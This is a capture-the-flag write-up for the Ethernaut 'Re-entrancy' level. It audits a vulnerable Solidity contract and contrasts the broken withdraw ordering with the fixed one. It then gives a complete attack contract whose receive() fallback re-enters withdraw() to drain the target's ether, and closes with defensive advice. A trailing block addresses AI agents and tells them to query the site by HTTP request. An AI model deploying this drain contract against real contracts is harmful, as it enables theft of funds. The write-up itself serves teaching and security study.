# Re-entrancy

## Description

The goal of this level is for you to steal all the funds from the contract.

Things that might help:

* Untrusted contracts can execute code where you least expect it.
* Fallback methods
* Throw/revert bubbling
* Sometimes the best way to attack a contract is with another contract.
* See the Help page above, section "Beyond the console"

## Background Knowledge

### Lecture

{% embed url="<https://youtu.be/4Mm3BCyHtDY>" %}
Reentrancy - Smart Contract Programmer
{% endembed %}

### Ethereum Book

{% embed url="<https://github.com/ethereumbook/ethereumbook/blob/develop/09smart-contracts-security.asciidoc#reentrancy>" %}
reentrancy - Mastering Ethereum
{% endembed %}

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}
```

This contract fails to follow the [Checks Effects Interactions](https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html)pattern. In the `withdraw()` function:

```solidity
// Bad
function withdraw(uint _amount) public {
    // Checks
	if(balances[msg.sender] >= _amount) {
	    // Interactions
	    (bool result,) = msg.sender.call{value:_amount}("");
	    if(result) {
		    _amount;
	    }
	    // Effects
	    balances[msg.sender] -= _amount;
	}
}
```

handles the `call()` (interaction) too early in the implementation. This `call()` (interaction) is supposed to happen after `balances[msg.sender] -= _amount` (effect):

```solidity
// Good
function withdraw(uint _amount) public {
    // Checks
	if(balances[msg.sender] >= _amount) {
	    // Effects
	    balances[msg.sender] -= _amount;
	    // Interactions
	    (bool result,) = msg.sender.call{value:_amount}("");
	    if(result) {
		    _amount;
	    }
	}
}
```

When calling `withdraw` it invokes our contract again before resetting the balance, allowing us to enter the contract again with another withdraw action. This is the classic re-entrancy attack.

## Solution

Enumerate how many ether is stored in the target contract:

```javascript
await getBalance(contract.address)
```

The target contract has 0.001 ether, which is 1000000000000000 wei.

Write an attack contract in Remix IDE:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IReentrance {
    function donate(address _to) external payable;
    function withdraw(uint _amount) external;
}

contract ReentranceAttack {
    address public owner;
    IReentrance targetContract;
    uint constant targetValue = 1000000000000000; // 0.001 ether

    constructor(address _target) {
        targetContract = IReentrance(_target);
        owner = msg.sender;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }

    function donateAndWithdraw() public payable {
        require(msg.value >= targetValue);
        targetContract.donate{value: msg.value}(address(this));
        targetContract.withdraw(msg.value); // exploit reentrancy
    }

    function withdrawAll() public returns (bool) {
        require(msg.sender == owner);
        uint totalBalance = address(this).balance;
        (bool sent, ) = msg.sender.call{value: totalBalance}("");
        require(sent);
        return sent;
    }

    receive() external payable {
        uint targetBalance = address(targetContract).balance;
        if (targetBalance >= targetValue) {
          targetContract.withdraw(targetValue);
        }
    }
}
```

Call `donateAndWithdraw()` with `msg.value == 1000000000000000`.

## Summary

In order to prevent re-entrancy attacks when moving funds out of your contract, use the [Checks-Effects-Interactions pattern](https://solidity.readthedocs.io/en/develop/security-considerations.html#use-the-checks-effects-interactions-pattern) being aware that `call` will only return false without interrupting the execution flow. Solutions such as [ReentrancyGuard](https://docs.openzeppelin.com/contracts/2.x/api/utils#ReentrancyGuard) or [PullPayment](https://docs.openzeppelin.com/contracts/2.x/api/payment#PullPayment) can also be used.

`transfer` and `send` are no longer recommended solutions as they can potentially break contracts after the Istanbul hard fork [Source 1](https://diligence.consensys.net/blog/2019/09/stop-using-soliditys-transfer-now/) [Source 2](https://forum.openzeppelin.com/t/reentrancy-after-istanbul/1742).

Always assume that the receiver of the funds you are sending can be another contract, not just a regular address. Hence, it can execute code in its payable fallback method and *re-enter* your contract, possibly messing up your state/logic.

Re-entrancy is a common attack. You should always be prepared for it!

### The DAO Hack

The famous DAO hack used reentrancy to extract a huge amount of ether from the victim contract. See [15 lines of code that could have prevented TheDAO Hack](https://blog.openzeppelin.com/15-lines-of-code-that-could-have-prevented-thedao-hack-782499e00942).


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/re-entrancy.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
